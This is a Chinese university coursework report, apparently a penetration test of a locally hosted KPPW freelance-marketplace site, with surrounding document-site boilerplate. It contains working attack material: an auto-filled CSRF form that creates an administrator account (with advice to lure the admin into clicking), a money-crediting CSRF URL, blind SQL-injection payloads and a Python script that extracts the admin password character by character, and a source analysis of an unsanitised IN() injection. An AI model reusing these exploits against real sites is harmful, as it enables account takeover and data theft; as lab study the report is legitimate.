版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、網絡安全風險評估大作業(yè) 班 級: 13級網安四班姓 名: 彭克杰學 號: 1315935027指導老師: 林玉香網絡安全評估目的:網絡平臺安全泛指操作系統和通用基礎服務安全,主要用于防范黑客攻擊手段。目前市場上大多數安全產品均具有局限安全性,我們可以通用信息安全評估準則為依據來對其進行評估,來發(fā)現問題,修復問題,確定網絡平臺安全實施。安全弱點和信息資產緊密相連,它可能被威脅利用、引起資產損失或傷害。但是,安全弱點本身不會造成損失,它只是一種條件或環(huán)境、可能導致被威脅利用而造成資產損失。安全弱點的出現有各種原因,例如可能是軟件開發(fā)過程中的質量問題,也可能是系統管理員配置方面的,也可能是管理方面的
2、。但是,它們的共同特性就是給攻擊者提供了對主機系統或者其他信息系統攻擊的機會。因此,我們對網絡產品,網絡平臺等進行一系列的風險評估很是必要,下面我們就對一個具體的網站進行安全方面的漏洞評估。評估內容:在本次實驗中我們借助phpstudy搭建一個威客系統網站,進行實際滲透測試和評估。掃描工具:Burpsuite,Nikto,WebScarab,掃描工具有很多,選個合適的就行。這是發(fā)現的一些漏洞:1.刪除任意帳號/添加管理員詳細說明:http:/localhost/KPPW/index.php?do=user&view=message&op=sendhttp:/localhost/
3、KPPW/index.php?do=pubtask&id=1&step=step2收件人填目標用戶名 ,標題沒有特定要求,內容沒有轉義,不過過濾了敏感標簽和 onerror onload等事件。任意刪除賬號:http:/localhost/KPPW/admin/index.php?do=user&view=list&op=del&edituid=5529GET提交此URL 就會刪除ID為 “5529”的用戶然后添加管理員,在添加用戶處抓包,提交數據Code區(qū)域:edituid=&fdsusername=qianlan&fdstruenam
4、e=&fdsphone=&fdsqq=&fdsindus_pid=&fdsindus_id=&fdsbirthday=&fdspassword=111111&fdsemail=xq.c&fdsgroup_id=1&is_submit=1然后構造一個表單:Code區(qū)域:<form action="http:/localhost/KPPW/admin/index.php?do=user&view=add&edituid=" method="post"><
5、input type=hidden name="edituid" value=""><input type=hidden name="fdsusername" value="qianlan"><input type=hidden name="fdstruename" value=""><input type=hidden name="fdsphone" value=""><input ty
6、pe=hidden name="fdsqq" value=""><input type=hidden name="fdsindus_pid" value=""><input type=hidden name="fdsindus_id" value=""><input type=hidden name="fdsbirthday" value=""><input type=hidden nam
7、e="fdspassword" value="123456"><input type=hidden name="fdsemail" value="xq.c"><input type=hidden name="fdsgroup_id" value="1"><input type="submit" name="is_submit" value="1"></form>其
8、他比較敏感的都隱藏起來。 因為script 標簽被過濾。 不能自動提交。所以放出來個按鈕,發(fā)給人家一看 一個按鈕 是誰都會有好奇心 肯定會點下這個按鈕。將此發(fā)給管理員。 就坐等添加新帳號吧,或者可以不用寫表單, 嵌入其他URL, 還可以自動提交。 此處自由發(fā)揮。此刻來用小號給管理員發(fā)個私信現在來看看效果 , 出來一個小按鈕 接著點擊我們現在來后臺的會員管理看看是否添加了一個名為qianlan的管理員添加成功,用戶組為管理員帳號qianlan 密碼 123456接下來漏洞證明: 詳細說明: Code區(qū)域: keke_user_avatar_class.php文件:static function
9、uploadavatar($uid) header ( "Expires: 0" );header ( "Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE );header ( "Pragma: no-cache" );if (empty ( $uid ) return - 1;if (empty ( $_FILES 'Filedata' ) return - 3;list ( $width, $height, $type, $at
10、tr ) = getimagesize ( $_FILES 'Filedata' 'tmp_name' );$imgtype = array (1 => '.gif', 2 => '.jpg', 3 => '.png' );$filetype = $imgtype $type;if (! $filetype)$filetype = '.jpg'$tmpavatar = _DATADIR . './tmp/upload' . $uid . $filetype;file
11、_exists ( $tmpavatar ) && unlink ( $tmpavatar );if (copy ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) | move_uploaded_file ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) unlink ( $_FILES 'Filedata' 'tmp_name' );list ( $width, $height, $type, $a
12、ttr ) = getimagesize ( $tmpavatar );if ($width < 10 | $height < 10 | $type = 4) unlink ( $tmpavatar );return - 2; else unlink ( $_FILES 'Filedata' 'tmp_name' );return - 4;$avatarurl = _DATAURL . '/tmp/upload' . $uid . $filetype;return $avatarurl;在這里$tmpavatar = _DATADIR
13、 . './tmp/upload' . $uid . $filetype; 是保存的文件名,在這里uid沒有進行過濾,也沒有進行長度限制,由于開了GPC 無法利用%00截斷。這里就用長文件名截斷3.XSS跨站腳本攻擊詳細說明:我們先來注冊一個賬號,然后發(fā)布商品。然后進行抓包,再添加圖片處修改:效果:4.SQL注入漏洞詳細說明:注冊兩個帳號,然后其中一個對另外那個發(fā)送3個消息。打開中間那條 url如下*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=
14、1&msgId=16然后注入下面我們可以看到 上一條 和 下一條 。注入測試*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=1-存在*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=2-然后消失了。利用url,*.*.*.*/KPPW/ind
15、ex.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and (select CHAR(48)=SUBSTR(SELECT password from keke_witkey_member WHERE uid =1),1,1)-然后整一個小工具替換下host url cookiesCode區(qū)域:#coding:utf-8import httplibdef get(i1,i2):page=""rHtml=httplib.HTTPConnection(&
16、quot;*.*.*.*",80,False)url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29-"
17、#print urlrHtml.request("GET",url,headers="User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate&qu
18、ot;,"Cookie":"PHPSESSID=x","Connection":"keep-alive")page=rHtml.getresponse(False)return page.read().count('一條')mm=for i in range(1,33):for ii in range(48,123):if(get(str(ii),str(i)!=0):mm.append(chr(ii)print "".join(mm)break5. csrf漏洞詳細說明:我們先
19、來注冊一個賬號,之后進入一個頁面http:/localhost/index.php?do=user地址為:http:/localhost/index.php?do=seller&id=5529可見,我們的用戶id為5529再來發(fā)布一個商品,http:/localhost/index.php?do=pubgoods然后添加上我們偽造的urlCode區(qū)域:http:/localhost/admin/index.php?do=user&view=charge&valid=1&maxCash=100&maxCredit=&user=5529&ca
20、sh_type=1&cash=100&char填好之后發(fā)布,并提交到后臺。這種威客網站添加的商品,管理員肯定會在后臺審核的。管理員進去后:會有一個get請求就是上面我們填寫的一個地址:再來刷新下我們剛才注冊的帳號錢增加了100對于此漏洞,我們驗證一下后臺登錄:驗證一下id驗證合格之后提交并抓包,偽造成GET之后加錢成功6. 全局問題導致大面積注入詳細問題:if ($code&&in_array($code,$arrAllowAuth) $code or $code = $keys '0' $code or kekezu:show_msg ( $_
21、lang 'param_error', "index.php?do=auth", 3, '', 'warning' );$auth_class = "keke_auth_" . $code . "_class"$objAuth = new $auth_class ( $code ); $auth_item = $arrAllAuthItems $code; $auth_dir = $auth_item 'auth_dir' $arrAuthInfo = $objAuth-
22、>get_user_auth_info ( $gUid, 0, $intBankAid ); require S_ROOT . "/auth/$code/control/index.php"require keke_tpl_class:template ( 'auth/' . $code . '/tpl/' . $_K 'template' . '/'.$step );die; else $real_pass = keke_auth_fac_class:auth_check ( 'enterpri
23、se', $gUid ) or $real_pass = keke_auth_fac_class:auth_check ( "realname", $gUid );$arrHasAuthItem = keke_auth_fac_class:get_auth ( $gUserInfo );$arrUserAuthInfo = $arrHasAuthItem 'info'這里包含了/auth/$code/control/index.php文件,這里的code我們設置為email當然code有('realname','enterpr
24、ise','bank','mobile','email')這五中形式進入/auth/email/control/index.php文件:case "step3":if($email_a_id&&$ac='check_email')$boolAuthRes = $objAuth->audit_auth($active_code,$email_a_id);header('location:index.php?do=user&view=account&op=aut
25、h&code=email');if($arrAuthInfo'auth_status'=1)$auth_tips ='已通過'$auth_style = 'success'elseif($arrAuthInfo'auth_status'=2)$auth_tips ='未通過'$auth_style = 'warning'break;第三步驗證時,$active_code和$email_a_id參數進入驗證函數audit_authpublic function audit_auth($
26、active_code,$email_a_id)global $_K, $kekezu,$_lang;$user_info=$kekezu->_userinfo;if(md5($user_info'uid'.$user_info'username'.$user_info'email')=$active_code)$arrAuthInfo=$this->get_auth_info($email_a_id);if(empty($arrAuthInfo0)return false;public function get_auth_info(
27、$auth_ids)if(isset($auth_ids)if(!stristr($auth_ids,',') return db_factory:query(sprintf(" select * from %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn db_factory:query(sprintf(" select * from %s where %s in (%s) &qu
28、ot;,TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn array();到這里,參數$auth_ids = $email_a_id,進入了sql語句但是當$auth_ids有逗號分隔的話,就進入下面那一條語句in ($auth_ids),在整個參數傳遞的過程中$auth_ids沒有過濾,這里也沒有加引號保護,導致注入。下面我們來看看任何導致大面積注入lib下面的文件都是系統的全局調用文件,這里的keke_auth_base_class.php也是一樣,在所有關于認證的功能里面都會調
29、用,如下面四個文件:前面兩個就是我們這里的漏洞分析,看看下面連個。public function del_auth($auth_ids,$url=null) global $_lang;$url ="index.php?do=auth&view=list&code=".$this->_auth_code;is_array($auth_ids) and $ids=implode(",",$auth_ids) or $ids=$auth_ids;$auth_info=$this->get_auth_info($ids);還有pub
30、lic function review_auth($auth_ids,$type='pass',$url=null)global $_lang;global $kekezu;if($url=null)$url = $_SERVER'HTTP_REFERER'$prom_obj = keke_prom_class:get_instance ();is_array($auth_ids) and $auth_ids=implode(",",$auth_ids);$auth_info=$this->get_auth_info($auth_ids
31、);$size=sizeof($auth_info);這里是在del_auth和review_auth函數處調用了漏洞函數get_auth_info而且進入這兩個函數的參數都是沒有處理的,最后都直接進入了sql語句,導致sql注入而且del_auth函數在認證過程中被調用的地方是21處.review_auth函數在認證過程中被調用的地方是17處.所以罪魁禍首get_auth_info函數,可以引發(fā)大面積的sql注入問題。進行審核過程中發(fā)現,只要是在進入sql語句時,如:in (變量),這樣的sql語句時,大部分是沒有出來這里的變量的,都存在注入問題郵件認證時,發(fā)送郵件:成功發(fā)送認證郵件后,看看郵箱收到的認證鏈接:然后copy認證鏈接,構造參數email_a_id,注意這里的id后面的一個必須存在的id,如這里的2,構造后請求為:http:/localhost/KPPW2520141118UTF-8/
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年度木結構建筑維護木工承包合同范本3篇
- 二零二五年度婚慶服務市場前景分析婚慶協議合同3篇
- 二零二五年度木材采購與木材行業(yè)技術培訓合同3篇
- 2025年度個人二手房交易資金監(jiān)管合同范本4篇
- 二零二五年度智能停車場車牌租賃與安全管理合同4篇
- 2025版民間借貸合同要點識別并規(guī)避四種借款人風險4篇
- 二零二五年度棉布面料環(huán)保認證與檢測服務合同4篇
- 二零二五年度民爆物品儲存安全責任合同4篇
- 2025年度汽車文化體驗館租賃合同4篇
- 2025年物業(yè)管理公司委托管理合同范本3篇
- 遼寧省撫順五十中學2024屆中考化學全真模擬試卷含解析
- 2024年湖南汽車工程職業(yè)學院單招職業(yè)技能測試題庫及答案解析
- 2024年中國科學技術大學少年創(chuàng)新班數學試題真題(答案詳解)
- 家長心理健康教育知識講座
- GB/T 292-2023滾動軸承角接觸球軸承外形尺寸
- 軍人結婚函調報告表
- 民用無人駕駛航空器實名制登記管理規(guī)定
- 北京地鐵6號線
- 航空油料計量統計員(初級)理論考試復習題庫大全-上(單選題匯總)
- 諒解書(標準樣本)
評論
0/150
提交評論